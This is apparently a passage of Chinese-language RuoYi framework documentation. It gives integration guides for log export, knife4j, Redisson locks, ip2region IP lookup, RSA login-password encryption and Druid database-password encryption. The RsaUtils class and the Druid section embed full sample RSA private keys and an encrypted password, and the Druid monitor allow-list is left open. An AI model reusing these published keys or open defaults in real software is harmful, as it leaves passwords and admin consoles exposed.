import com.alibaba.excel.annotation.ExcelIgnoreUnannotated;
import com.alibaba.excel.annotation.ExcelProperty;
import com.alibaba.excel.annotation.format.DateTimeFormat;
import com.alibaba.excel.annotation.write.style.ColumnWidth;
import com.alibaba.excel.annotation.write.style.HeadFontStyle;
import com.alibaba.excel.annotation.write.style.HeadRowHeight;
import com.ruoyi.common.core.domain.BaseEntity;
import com.ruoyi.system.domain.read.BusiTypeStringNumberConverter;
import com.ruoyi.system.domain.read.OperTypeConverter;
import com.ruoyi.system.domain.read.StatusConverter;
/**
* 操作日志記錄表 oper_log
*
* @author ruoyi
*/
@ExcelIgnoreUnannotated
@ColumnWidth(16)
@HeadRowHeight(14)
@HeadFontStyle(fontHeightInPoints = 11)
public class SysOperLog extends BaseEntity
{
private static final long serialVersionUID = 1L;
/** 日志主鍵 */
@ExcelProperty(value = "操作序號")
private Long operId;
/** 操作模塊 */
@ExcelProperty(value = "操作模塊")
private String title;
/** 業務類型(0其它 1新增 2修改 3刪除) */
@ExcelProperty(value = "業務類型", converter = BusiTypeStringNumberConverter.class)
private Integer businessType;
/** 業務類型數組 */
private Integer[] businessTypes;
/** 請求方法 */
@ExcelProperty(value = "請求方法")
private String method;
/** 請求方式 */
@ExcelProperty(value = "請求方式")
private String requestMethod;
/** 操作類別(0其它 1后台用戶 2手機端用戶) */
@ExcelProperty(value = "操作類別", converter = OperTypeConverter.class)
private Integer operatorType;
/** 操作人員 */
@ExcelProperty(value = "操作人員")
private String operName;
/** 部門名稱 */
@ExcelProperty(value = "部門名稱")
private String deptName;
/** 請求url */
@ExcelProperty(value = "請求地址")
private String operUrl;
/** 操作地址 */
@ExcelProperty(value = "操作地址")
private String operIp;
/** 操作地點 */
@ExcelProperty(value = "操作地點")
private String operLocation;
/** 請求參數 */
@ExcelProperty(value = "請求參數")
private String operParam;
/** 返回參數 */
@ExcelProperty(value = "返回參數")
private String jsonResult;
/** 操作狀態(0正常 1異常) */
@ExcelProperty(value = "狀態", converter = StatusConverter.class)
private Integer status;
/** 錯誤消息 */
@ExcelProperty(value = "錯誤消息")
private String errorMsg;
/** 操作時間 */
@DateTimeFormat("yyyy-MM-dd HH:mm:ss")
@ExcelProperty(value = "操作時間")
private Date operTime;
public Long getOperId()
{
return operId;
}
public void setOperId(Long operId)
{
this.operId = operId;
}
public String getTitle()
{
return title;
}
public void setTitle(String title)
{
this.title = title;
}
public Integer getBusinessType()
{
return businessType;
}
public void setBusinessType(Integer businessType)
{
this.businessType = businessType;
}
public Integer[] getBusinessTypes()
{
return businessTypes;
}
public void setBusinessTypes(Integer[] businessTypes)
{
this.businessTypes = businessTypes;
}
public String getMethod()
{
return method;
}
public void setMethod(String method)
{
this.method = method;
}
public String getRequestMethod()
{
return requestMethod;
}
public void setRequestMethod(String requestMethod)
{
this.requestMethod = requestMethod;
}
public Integer getOperatorType()
{
return operatorType;
}
public void setOperatorType(Integer operatorType)
{
this.operatorType = operatorType;
}
public String getOperName()
{
return operName;
}
public void setOperName(String operName)
{
this.operName = operName;
}
public String getDeptName()
{
return deptName;
}
public void setDeptName(String deptName)
{
this.deptName = deptName;
}
public String getOperUrl()
{
return operUrl;
}
public void setOperUrl(String operUrl)
{
this.operUrl = operUrl;
}
public String getOperIp()
{
return operIp;
}
public void setOperIp(String operIp)
{
this.operIp = operIp;
}
public String getOperLocation()
{
return operLocation;
}
public void setOperLocation(String operLocation)
{
this.operLocation = operLocation;
}
public String getOperParam()
{
return operParam;
}
public void setOperParam(String operParam)
{
this.operParam = operParam;
}
public String getJsonResult()
{
return jsonResult;
}
public void setJsonResult(String jsonResult)
{
this.jsonResult = jsonResult;
}
public Integer getStatus()
{
return status;
}
public void setStatus(Integer status)
{
this.status = status;
}
public String getErrorMsg()
{
return errorMsg;
}
public void setErrorMsg(String errorMsg)
{
this.errorMsg = errorMsg;
}
public Date getOperTime()
{
return operTime;
}
public void setOperTime(Date operTime)
{
this.operTime = operTime;
}
@Override
public String toString() {
return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE)
.append("operId", getOperId())
.append("title", getTitle())
.append("businessType", getBusinessType())
.append("businessTypes", getBusinessTypes())
.append("method", getMethod())
.append("requestMethod", getRequestMethod())
.append("operatorType", getOperatorType())
.append("operName", getOperName())
.append("deptName", getDeptName())
.append("operUrl", getOperUrl())
.append("operIp", getOperIp())
.append("operLocation", getOperLocation())
.append("operParam", getOperParam())
.append("status", getStatus())
.append("errorMsg", getErrorMsg())
.append("operTime", getOperTime())
.toString();
}
}
添加字符串翻譯內容
ruoyi-system\com\ruoyi\system\domain\read\BusiTypeStringNumberConverter.java
package com.ruoyi.system.domain.read;
import com.alibaba.excel.converters.Converter;
import com.alibaba.excel.enums.CellDataTypeEnum;
import com.alibaba.excel.metadata.CellData;
import com.alibaba.excel.metadata.GlobalConfiguration;
import com.alibaba.excel.metadata.property.ExcelContentProperty;
/**
* 業務類型字符串處理
*
* @author ruoyi
*/
@SuppressWarnings("rawtypes")
public class BusiTypeStringNumberConverter implements Converter<Integer>
{
@Override
public Class supportJavaTypeKey()
{
return Integer.class;
}
@Override
public CellDataTypeEnum supportExcelTypeKey()
{
return CellDataTypeEnum.STRING;
}
@Override
public Integer convertToJavaData(CellData cellData, ExcelContentProperty contentProperty,
GlobalConfiguration globalConfiguration)
{
Integer value = 0;
String str = cellData.getStringValue();
if ("新增".equals(str))
{
value = 1;
}
else if ("修改".equals(str))
{
value = 2;
}
else if ("刪除".equals(str))
{
value = 3;
}
else if ("授權".equals(str))
{
value = 4;
}
else if ("導出".equals(str))
{
value = 5;
}
else if ("導入".equals(str))
{
value = 6;
}
else if ("強退".equals(str))
{
value = 7;
}
else if ("生成代碼".equals(str))
{
value = 8;
}
else if ("清空數據".equals(str))
{
value = 9;
}
return value;
}
@Override
public CellData convertToExcelData(Integer value, ExcelContentProperty contentProperty,
GlobalConfiguration globalConfiguration)
{
String str = "其他";
if (1 == value)
{
str = "新增";
}
else if (2 == value)
{
str = "修改";
}
else if (3 == value)
{
str = "刪除";
}
else if (4 == value)
{
str = "授權";
}
else if (5 == value)
{
str = "導出";
}
else if (6 == value)
{
str = "導入";
}
else if (7 == value)
{
str = "強退";
}
else if (8 == value)
{
str = "生成代碼";
}
else if (9 == value)
{
str = "清空數據";
}
return new CellData(str);
}
}
ruoyi-system\com\ruoyi\system\domain\read\OperTypeConverter.java
package com.ruoyi.system.domain.read;
import com.alibaba.excel.converters.Converter;
import com.alibaba.excel.enums.CellDataTypeEnum;
import com.alibaba.excel.metadata.CellData;
import com.alibaba.excel.metadata.GlobalConfiguration;
import com.alibaba.excel.metadata.property.ExcelContentProperty;
/**
* 操作類別字符串處理
*
* @author ruoyi
*/
@SuppressWarnings("rawtypes")
public class OperTypeConverter implements Converter<Integer>
{
@Override
public Class supportJavaTypeKey()
{
return Integer.class;
}
@Override
public CellDataTypeEnum supportExcelTypeKey()
{
return CellDataTypeEnum.STRING;
}
@Override
public Integer convertToJavaData(CellData cellData, ExcelContentProperty contentProperty,
GlobalConfiguration globalConfiguration)
{
Integer value = 0;
String str = cellData.getStringValue();
if ("后台用戶".equals(str))
{
value = 1;
}
else if ("手機端用戶".equals(str))
{
value = 2;
}
return value;
}
@Override
public CellData convertToExcelData(Integer value, ExcelContentProperty contentProperty,
GlobalConfiguration globalConfiguration)
{
String str = "其他";
if (1 == value)
{
str = "后台用戶";
}
else if (2 == value)
{
str = "手機端用戶";
}
return new CellData(str);
}
}
ruoyi-system\com\ruoyi\system\domain\read\StatusConverter.java
package com.ruoyi.system.domain.read;
import com.alibaba.excel.converters.Converter;
import com.alibaba.excel.enums.CellDataTypeEnum;
import com.alibaba.excel.metadata.CellData;
import com.alibaba.excel.metadata.GlobalConfiguration;
import com.alibaba.excel.metadata.property.ExcelContentProperty;
/**
* 狀態字符串處理
*
* @author ruoyi
*/
@SuppressWarnings("rawtypes")
public class StatusConverter implements Converter<Integer>
{
@Override
public Class supportJavaTypeKey()
{
return Integer.class;
}
@Override
public CellDataTypeEnum supportExcelTypeKey()
{
return CellDataTypeEnum.STRING;
}
@Override
public Integer convertToJavaData(CellData cellData, ExcelContentProperty contentProperty,
GlobalConfiguration globalConfiguration)
{
return "正常".equals(cellData.getStringValue()) ? 1 : 0;
}
@Override
public CellData convertToExcelData(Integer value, ExcelContentProperty contentProperty,
GlobalConfiguration globalConfiguration)
{
return new CellData(0 == value ? "正常" : "異常");
}
}
4、登錄系統,進入系統管理-日志管理-操作日志-執行導出功能
10、集成knife4j實現swagger文檔增強
如果不習慣使用swagger
可以使用前端UI
的增強解決方案knife4j
,對比swagger
相比有以下優勢,友好界面,離線文檔,接口排序,安全控制,在線調試,文檔清晰,注解增強,容易上手。
1、ruoyi-admin\pom.xml
模塊添加整合依賴
<!-- knife4j -->
<dependency>
<groupId>com.github.xiaoymin</groupId>
<artifactId>knife4j-spring-boot-starter</artifactId>
<version>3.0.3</version>
</dependency>
2、修改ry-ui\views\tool\swagger\index.vue
跳轉地址
src: process.env.VUE_APP_BASE_API + "/doc.html",
3、登錄系統,訪問菜單系統工具/系統接口,出現如下圖表示成功。
提示
引用knife4j-spring-boot-starter
依賴,項目中的swagger
依賴可以刪除。
11、集成redisson實現redis分布式鎖
Redisson
是Redis
官方推薦的Java
版的Redis
客戶端。它提供的功能非常多,也非常強大,此處我們只用它的分布式鎖功能。
1、引入依賴
<!-- Redisson 鎖功能 -->
<dependency>
<groupId>org.redisson</groupId>
<artifactId>redisson-spring-boot-starter</artifactId>
<version>3.16.2</version>
</dependency>
2、添加工具類RedisLock.java
package com.ruoyi.common.core.redis;
import org.redisson.api.RLock;
import org.redisson.api.RedissonClient;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
import java.util.concurrent.TimeUnit;
/**
* redis鎖工具類
*
* @author ruoyi
*/
@Component
public class RedisLock
{
@Autowired
private RedissonClient redissonClient;
/**
* 獲取鎖
*
* @param lockKey 鎖實例key
* @return 鎖信息
*/
public RLock getRLock(String lockKey)
{
return redissonClient.getLock(lockKey);
}
/**
* 加鎖
*
* @param lockKey 鎖實例key
* @return 鎖信息
*/
public RLock lock(String lockKey)
{
RLock lock = getRLock(lockKey);
lock.lock();
return lock;
}
/**
* 加鎖
*
* @param lockKey 鎖實例key
* @param leaseTime 上鎖后自動釋放鎖時間
* @return true=成功;false=失敗
*/
public Boolean tryLock(String lockKey, long leaseTime)
{
return tryLock(lockKey, 0, leaseTime, TimeUnit.SECONDS);
}
/**
* 加鎖
*
* @param lockKey 鎖實例key
* @param leaseTime 上鎖后自動釋放鎖時間
* @param unit 時間顆粒度
* @return true=加鎖成功;false=加鎖失敗
*/
public Boolean tryLock(String lockKey, long leaseTime, TimeUnit unit)
{
return tryLock(lockKey, 0, leaseTime, unit);
}
/**
* 加鎖
*
* @param lockKey 鎖實例key
* @param waitTime 最多等待時間
* @param leaseTime 上鎖后自動釋放鎖時間
* @param unit 時間顆粒度
* @return true=加鎖成功;false=加鎖失敗
*/
public Boolean tryLock(String lockKey, long waitTime, long leaseTime, TimeUnit unit)
{
RLock rLock = getRLock(lockKey);
boolean tryLock = false;
try
{
tryLock = rLock.tryLock(waitTime, leaseTime, unit);
}
catch (InterruptedException e)
{
return false;
}
return tryLock;
}
/**
* 釋放鎖
*
* @param lockKey 鎖實例key
*/
public void unlock(String lockKey)
{
RLock lock = getRLock(lockKey);
lock.unlock();
}
/**
* 釋放鎖
*
* @param lock 鎖信息
*/
public void unlock(RLock lock)
{
lock.unlock();
}
}
3、新增配置RedissonConfig.java
package com.ruoyi.framework.config;
import org.redisson.Redisson;
import org.redisson.api.RedissonClient;
import org.redisson.config.Config;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
/**
* redisson配置
*
* @author ruoyi
*/
@Configuration
public class RedissonConfig
{
@Value("${spring.redis.host}")
private String host;
@Value("${spring.redis.port}")
private String port;
@Value("${spring.redis.password}")
private String password;
@Bean(destroyMethod = "shutdown")
@ConditionalOnMissingBean(RedissonClient.class)
public RedissonClient redissonClient()
{
Config config = new Config();
config.useSingleServer().setAddress("redis://" + host + ":" + port); // 更多.set
return Redisson.create(config);
}
}
4、使用方式
@Autowired
private RedisLock redisLock;
// lockKey 鎖實例key waitTime 最多等待時間 leaseTime 上鎖后自動釋放鎖時間 unit 時間顆粒度
redisLock.lock(lockKey);
redisLock.tryLock(lockKey, leaseTime);
redisLock.tryLock(lockKey, leaseTime, unit);
redisLock.tryLock(lockKey, waitTime, leaseTime, unit);
redisLock.unlock(lockKey);
redisLock.unlock(lock);
12、集成ip2region實現離線IP地址定位
離線IP地址定位庫主要用於內網或想減少對外訪問http
帶來的資源消耗。(代碼已兼容支持jar包部署)
1、引入依賴
<!-- 離線IP地址定位庫 -->
<dependency>
<groupId>org.lionsoul</groupId>
<artifactId>ip2region</artifactId>
<version>1.7.2</version>
</dependency>
2、添加工具類RegionUtil.java
package com.ruoyi.common.utils;
import java.io.File;
import java.io.InputStream;
import java.lang.reflect.Method;
import org.apache.commons.io.FileUtils;
import org.lionsoul.ip2region.DataBlock;
import org.lionsoul.ip2region.DbConfig;
import org.lionsoul.ip2region.DbSearcher;
import org.lionsoul.ip2region.Util;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.core.io.ClassPathResource;
/**
* 根據ip離線查詢地址
*
* @author ruoyi
*/
public class RegionUtil
{
private static final Logger log = LoggerFactory.getLogger(RegionUtil.class);
private static final String JAVA_TEMP_DIR = "java.io.tmpdir";
static DbConfig config = null;
static DbSearcher searcher = null;
/**
* 初始化IP庫
*/
static
{
try
{
// 因為jar無法讀取文件,復制創建臨時文件
String dbPath = RegionUtil.class.getResource("/ip2region/ip2region.db").getPath();
File file = new File(dbPath);
if (!file.exists())
{
String tmpDir = System.getProperties().getProperty(JAVA_TEMP_DIR);
dbPath = tmpDir + "ip2region.db";
file = new File(dbPath);
ClassPathResource cpr = new ClassPathResource("ip2region" + File.separator + "ip2region.db");
InputStream resourceAsStream = cpr.getInputStream();
if (resourceAsStream != null)
{
FileUtils.copyInputStreamToFile(resourceAsStream, file);
}
}
config = new DbConfig();
searcher = new DbSearcher(config, dbPath);
log.info("bean [{}]", config);
log.info("bean [{}]", searcher);
}
catch (Exception e)
{
log.error("init ip region error:{}", e);
}
}
/**
* 解析IP
*
* @param ip
* @return
*/
public static String getRegion(String ip)
{
try
{
// db
if (searcher == null || StringUtils.isEmpty(ip))
{
log.error("DbSearcher is null");
return StringUtils.EMPTY;
}
long startTime = System.currentTimeMillis();
// 查詢算法
int algorithm = DbSearcher.MEMORY_ALGORITYM;
Method method = null;
switch (algorithm)
{
case DbSearcher.BTREE_ALGORITHM:
method = searcher.getClass().getMethod("btreeSearch", String.class);
break;
case DbSearcher.BINARY_ALGORITHM:
method = searcher.getClass().getMethod("binarySearch", String.class);
break;
case DbSearcher.MEMORY_ALGORITYM:
method = searcher.getClass().getMethod("memorySearch", String.class);
break;
}
DataBlock dataBlock = null;
if (Util.isIpAddress(ip) == false)
{
log.warn("warning: Invalid ip address");
}
dataBlock = (DataBlock) method.invoke(searcher, ip);
String result = dataBlock.getRegion();
long endTime = System.currentTimeMillis();
log.debug("region use time[{}] result[{}]", endTime - startTime, result);
return result;
}
catch (Exception e)
{
log.error("error:{}", e);
}
return StringUtils.EMPTY;
}
}
3、修改AddressUtils.java
package com.ruoyi.common.utils.ip;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import com.ruoyi.common.config.RuoYiConfig;
import com.ruoyi.common.utils.RegionUtil;
import com.ruoyi.common.utils.StringUtils;
/**
* 獲取地址類
*
* @author ruoyi
*/
public class AddressUtils
{
private static final Logger log = LoggerFactory.getLogger(AddressUtils.class);
// 未知地址
public static final String UNKNOWN = "XX XX";
public static String getRealAddressByIP(String ip)
{
String address = UNKNOWN;
// 內網不查詢
if (IpUtils.internalIp(ip))
{
return "內網IP";
}
if (RuoYiConfig.isAddressEnabled())
{
try
{
String rspStr = RegionUtil.getRegion(ip);
if (StringUtils.isEmpty(rspStr))
{
log.error("獲取地理位置異常 {}", ip);
return UNKNOWN;
}
String[] obj = rspStr.split("\\|");
String region = obj[2];
String city = obj[3];
return String.format("%s %s", region, city);
}
catch (Exception e)
{
log.error("獲取地理位置異常 {}", e);
}
}
return address;
}
}
4、添加離線IP地址庫插件
下載前端插件相關包和代碼實現ruoyi/集成ip2region離線地址定位.zip
鏈接: https://pan.baidu.com/s/13JVC9jm-Dp9PfHdDDylLCQ 提取碼: y9jt
5、添加離線IP地址庫
在src/main/resources
下新建ip2region
復制文件ip2region.db
到目錄下。
13、集成jsencrypt實現密碼加密傳輸方式
目前登錄接口密碼是明文傳輸,如果安全性有要求,可以調整成加密方式傳輸。參考如下
1、修改前端login.js
對密碼進行rsa
加密。
import { encrypt } from '@/utils/jsencrypt'
export function login(username, password, code, uuid) {
password = encrypt(password);
.........
}
2、工具類sign
包下添加RsaUtils.java
,用於RSA
加密解密。
package com.ruoyi.common.utils.sign;
import org.apache.commons.codec.binary.Base64;
import javax.crypto.Cipher;
import java.security.*;
import java.security.interfaces.RSAPrivateKey;
import java.security.interfaces.RSAPublicKey;
import java.security.spec.PKCS8EncodedKeySpec;
import java.security.spec.X509EncodedKeySpec;
/**
* RSA加密解密
*
* @author ruoyi
**/
public class RsaUtils
{
// Rsa 私鑰
public static String privateKey = "MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAqhHyZfSsYourNxaY"
+ "7Nt+PrgrxkiA50efORdI5U5lsW79MmFnusUA355oaSXcLhu5xxB38SMSyP2KvuKN"
+ "PuH3owIDAQABAkAfoiLyL+Z4lf4Myxk6xUDgLaWGximj20CUf+5BKKnlrK+Ed8gA"
+ "kM0HqoTt2UZwA5E2MzS4EI2gjfQhz5X28uqxAiEA3wNFxfrCZlSZHb0gn2zDpWow"
+ "cSxQAgiCstxGUoOqlW8CIQDDOerGKH5OmCJ4Z21v+F25WaHYPxCFMvwxpcw99Ecv"
+ "DQIgIdhDTIqD2jfYjPTY8Jj3EDGPbH2HHuffvflECt3Ek60CIQCFRlCkHpi7hthh"
+ "YhovyloRYsM+IS9h/0BzlEAuO0ktMQIgSPT3aFAgJYwKpqRYKlLDVcflZFCKY7u3"
+ "UP8iWi1Qw0Y=";
/**
* 私鑰解密
*
* @param privateKeyString 私鑰
* @param text 待解密的文本
* @return 解密后的文本
*/
public static String decryptByPrivateKey(String text) throws Exception
{
return decryptByPrivateKey(privateKey, text);
}
/**
* 公鑰解密
*
* @param publicKeyString 公鑰
* @param text 待解密的信息
* @return 解密后的文本
*/
public static String decryptByPublicKey(String publicKeyString, String text) throws Exception
{
X509EncodedKeySpec x509EncodedKeySpec = new X509EncodedKeySpec(Base64.decodeBase64(publicKeyString));
KeyFactory keyFactory = KeyFactory.getInstance("RSA");
PublicKey publicKey = keyFactory.generatePublic(x509EncodedKeySpec);
Cipher cipher = Cipher.getInstance("RSA");
cipher.init(Cipher.DECRYPT_MODE, publicKey);
byte[] result = cipher.doFinal(Base64.decodeBase64(text));
return new String(result);
}
/**
* 私鑰加密
*
* @param privateKeyString 私鑰
* @param text 待加密的信息
* @return 加密后的文本
*/
public static String encryptByPrivateKey(String privateKeyString, String text) throws Exception
{
PKCS8EncodedKeySpec pkcs8EncodedKeySpec = new PKCS8EncodedKeySpec(Base64.decodeBase64(privateKeyString));
KeyFactory keyFactory = KeyFactory.getInstance("RSA");
PrivateKey privateKey = keyFactory.generatePrivate(pkcs8EncodedKeySpec);
Cipher cipher = Cipher.getInstance("RSA");
cipher.init(Cipher.ENCRYPT_MODE, privateKey);
byte[] result = cipher.doFinal(text.getBytes());
return Base64.encodeBase64String(result);
}
/**
* 私鑰解密
*
* @param privateKeyString 私鑰
* @param text 待解密的文本
* @return 解密后的文本
*/
public static String decryptByPrivateKey(String privateKeyString, String text) throws Exception
{
PKCS8EncodedKeySpec pkcs8EncodedKeySpec5 = new PKCS8EncodedKeySpec(Base64.decodeBase64(privateKeyString));
KeyFactory keyFactory = KeyFactory.getInstance("RSA");
PrivateKey privateKey = keyFactory.generatePrivate(pkcs8EncodedKeySpec5);
Cipher cipher = Cipher.getInstance("RSA");
cipher.init(Cipher.DECRYPT_MODE, privateKey);
byte[] result = cipher.doFinal(Base64.decodeBase64(text));
return new String(result);
}
/**
* 公鑰加密
*
* @param publicKeyString 公鑰
* @param text 待加密的文本
* @return 加密后的文本
*/
public static String encryptByPublicKey(String publicKeyString, String text) throws Exception
{
X509EncodedKeySpec x509EncodedKeySpec2 = new X509EncodedKeySpec(Base64.decodeBase64(publicKeyString));
KeyFactory keyFactory = KeyFactory.getInstance("RSA");
PublicKey publicKey = keyFactory.generatePublic(x509EncodedKeySpec2);
Cipher cipher = Cipher.getInstance("RSA");
cipher.init(Cipher.ENCRYPT_MODE, publicKey);
byte[] result = cipher.doFinal(text.getBytes());
return Base64.encodeBase64String(result);
}
/**
* 構建RSA密鑰對
*
* @return 生成后的公私鑰信息
*/
public static RsaKeyPair generateKeyPair() throws NoSuchAlgorithmException
{
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.generateKeyPair();
RSAPublicKey rsaPublicKey = (RSAPublicKey) keyPair.getPublic();
RSAPrivateKey rsaPrivateKey = (RSAPrivateKey) keyPair.getPrivate();
String publicKeyString = Base64.encodeBase64String(rsaPublicKey.getEncoded());
String privateKeyString = Base64.encodeBase64String(rsaPrivateKey.getEncoded());
return new RsaKeyPair(publicKeyString, privateKeyString);
}
/**
* RSA密鑰對對象
*/
public static class RsaKeyPair
{
private final String publicKey;
private final String privateKey;
public RsaKeyPair(String publicKey, String privateKey)
{
this.publicKey = publicKey;
this.privateKey = privateKey;
}
public String getPublicKey()
{
return publicKey;
}
public String getPrivateKey()
{
return privateKey;
}
}
}
3、登錄方法SysLoginService.java
,對密碼進行rsa
解密。
// 關鍵代碼 RsaUtils.decryptByPrivateKey(password)
authentication = authenticationManager.authenticate(new UsernamePasswordAuthenticationToken(username, RsaUtils.decryptByPrivateKey(password)));
訪問 http://localhost/login (opens new window)登錄頁面。提交時檢查密碼是否為加密傳輸,且后台也能正常解密。
14、集成druid實現數據庫密碼加密功能
數據庫密碼直接寫在配置中,對運維安全來說,是一個很大的挑戰。可以使用Druid
為此提供一種數據庫密碼加密的手段ConfigFilter
。項目已經集成druid
所以只需按要求配置即可。
1、執行命令加密數據庫密碼
java -cp druid-1.2.4.jar com.alibaba.druid.filter.config.ConfigTools password
password
輸入你的數據庫密碼,輸出的是加密后的結果。
privateKey:MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAuLMVAFmcew+mPfVnzI6utEvhHWO2s6e4R1bVW3a9IpH+pEypeNV6KtZ/w9PuysPfdPxW5fN3BmnKFZUAIMvWhQIDAQABAkA6rnsfr1juKFyzFsMx1KthETKmucWUctczoz0KYEFbN+joNsd/ApQqsS/2MVG1QWbDJLUsSLWkchvRbtiqOlVJAiEA6KmgVeLR2qUU9gv6DJfuWk4Ol1M9GJnTamgyDttsSGcCIQDLOdjcht29s954vApG1fiPTP/kMvZ5aLrccw1lEuEGMwIhAKoe3c3u++MTsi/2se9jaDU/vguIIbRLRfsYFQIoDxUhAiAnCm/cvZPvk5RTgVxAC276qIIoJpou7K2pF/kkx6Gu/QIgKUVFiM8GVZkOWZC+nUm3UIfpGjrKXjvGrlHNvt89uBA=
publicKey:MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALizFQBZnHsPpj31Z8yOrrRL4R1jtrOnuEdW1Vt2vSKR/qRMqXjVeirWf8PT7srD33T8VuXzdwZpyhWVACDL1oUCAwEAAQ==
password:gkYlljNHKe0/4z7bbJxD7v/txWJIFbiGWwsIPo176Q7fG0UjcSizNxuRUI2ll27ZPQf2ekiHFptus2/Rc4cmvA==
2、配置數據源,提示Druid
數據源需要對數據庫密碼進行解密。
# 數據源配置
spring:
datasource:
type: com.alibaba.druid.pool.DruidDataSource
driverClassName: com.mysql.cj.jdbc.Driver
druid:
# 主庫數據源
master:
url: jdbc:mysql://localhost:3306/ry?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8
username: root
password: gkYlljNHKe0/4z7bbJxD7v/txWJIFbiGWwsIPo176Q7fG0UjcSizNxuRUI2ll27ZPQf2ekiHFptus2/Rc4cmvA==
# 從庫數據源
slave:
# 從數據源開關/默認關閉
enabled: false
url:
username:
password:
# 初始連接數
initialSize: 5
# 最小連接池數量
minIdle: 10
# 最大連接池數量
maxActive: 20
# 配置獲取連接等待超時的時間
maxWait: 60000
# 配置間隔多久才進行一次檢測,檢測需要關閉的空閑連接,單位是毫秒
timeBetweenEvictionRunsMillis: 60000
# 配置一個連接在池中最小生存的時間,單位是毫秒
minEvictableIdleTimeMillis: 300000
# 配置一個連接在池中最大生存的時間,單位是毫秒
maxEvictableIdleTimeMillis: 900000
# 配置檢測連接是否有效
validationQuery: SELECT 1 FROM DUAL
testWhileIdle: true
testOnBorrow: false
testOnReturn: false
connectProperties: config.decrypt=true;config.decrypt.key=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALizFQBZnHsPpj31Z8yOrrRL4R1jtrOnuEdW1Vt2vSKR/qRMqXjVeirWf8PT7srD33T8VuXzdwZpyhWVACDL1oUCAwEAAQ==
webStatFilter:
enabled: true
statViewServlet:
enabled: true
# 設置白名單,不填則允許所有訪問
allow:
url-pattern: /druid/*
# 控制台管理用戶名和密碼
login-username:
login-password:
filter:
config:
# 是否配置加密
enabled: true
stat:
enabled: true
# 慢SQL記錄
log-slow-sql: true
slow-sql-millis: 1000
merge-sql: true
wall:
config:
multi-statement-allow: true
3、DruidProperties
配置connectProperties
屬性
package com.ruoyi.framework.config.properties;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.annotation.Configuration;
import com.alibaba.druid.pool.DruidDataSource;
/**
* druid 配置屬性
*
* @author ruoyi
*/
@Configuration
public class DruidProperties
{
@Value("${spring.datasource.druid.initialSize}")
private int initialSize;
@Value("${spring.datasource.druid.minIdle}")
private int minIdle;
@Value("${spring.datasource.druid.maxActive}")
private int maxActive;
@Value("${spring.datasource.druid.maxWait}")
private int maxWait;
@Value("${spring.datasource.druid.timeBetweenEvictionRunsMillis}")
private int timeBetweenEvictionRunsMillis;
@Value("${spring.datasource.druid.minEvictableIdleTimeMillis}")
private int minEvictableIdleTimeMillis;
@Value("${spring.datasource.druid.maxEvictableIdleTimeMillis}")
private int maxEvictableIdleTimeMillis;
@Value("${spring.datasource.druid.validationQuery}")
private String validationQuery;
@Value("${spring.datasource.druid.testWhileIdle}")
private boolean testWhileIdle;
@Value("${spring.datasource.druid.testOnBorrow}")
private boolean testOnBorrow;
@Value("${spring.datasource.druid.testOnReturn}")
private boolean testOnReturn;
@Value("${spring.datasource.druid.connectProperties}")
private String connectProperties;
public DruidDataSource dataSource(DruidDataSource datasource)
{
/** 配置初始化大小、最小、最大 */
datasource.setInitialSize(initialSize);
datasource.setMaxActive(maxActive);
datasource.setMinIdle(minIdle);
/** 配置獲取連接等待超時的時間 */
datasource.setMaxWait(maxWait);
/** 配置間隔多久才進行一次檢測,檢測需要關閉的空閑連接,單位是毫秒 */
datasource.setTimeBetweenEvictionRunsMillis(timeBetweenEvictionRunsMillis);
/** 配置一個連接在池中最小、最大生存的時間,單位是毫秒 */
datasource.setMinEvictableIdleTimeMillis(minEvictableIdleTimeMillis);
datasource.setMaxEvictableIdleTimeMillis(maxEvictableIdleTimeMillis);
/**
* 用來檢測連接是否有效的sql,要求是一個查詢語句,常用select 'x'。如果validationQuery為null,testOnBorrow、testOnReturn、testWhileIdle都不會起作用。
*/
datasource.setValidationQuery(validationQuery);
/** 建議配置為true,不影響性能,並且保證安全性。申請連接的時候檢測,如果空閑時間大於timeBetweenEvictionRunsMillis,執行validationQuery檢測連接是否有效。 */
datasource.setTestWhileIdle(testWhileIdle);
/** 申請連接時執行validationQuery檢測連接是否有效,做了這個配置會降低性能。 */
datasource.setTestOnBorrow(testOnBorrow);
/** 歸還連接時執行validationQuery檢測連接是否有效,做了這個配置會降低性能。 */
datasource.setTestOnReturn(testOnReturn);
/** 為數據庫密碼提供加密功能 */
datasource.setConnectionProperties(connectProperties);
return datasource;
}
}
4、啟動應用程序測試驗證加密結果
提示
如若忘記密碼可以使用工具類解密(傳入生成的公鑰+密碼)
public static void main(String[] args) throws Exception
{
String password = ConfigTools.decrypt(
"MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALizFQBZnHsPpj31Z8yOrrRL4R1jtrOnuEdW1Vt2vSKR/qRMqXjVeirWf8PT7srD33T8VuXzdwZpyhWVACDL1oUCAwEAAQ==",
"gkYlljNHKe0/4z7bbJxD7v/txWJIFbiGWwsIPo176Q7fG0UjcSizNxuRUI2ll27ZPQf2ekiHFptus2/Rc4cmvA==");
System.out.println("解密密碼:" + password);
}
二十四、項目擴展
1、后台擴展
項目擴展
用於收集來自基於RuoYi (opens new window)的插件集成或完整項目,由開發者自己維護。如果你有自己或喜歡的項目想出現在列表中,可以發送倉庫地址到我的郵箱346039442@qq.com
..
2、前台擴展
名稱 | 說明 | 地址 |
---|---|---|
Hplus | Hplus(4.1.0后台主題UI框架) | https://pan.baidu.com/s/1cpDPD39OjF7IVSmPrmE_oA |
inspinia | inspinia(2.7.1后台主題UI框架漢化版) | https://pan.baidu.com/s/1KI4UPf0DFRs0dZW49-05fQ (提取碼: nmju) |
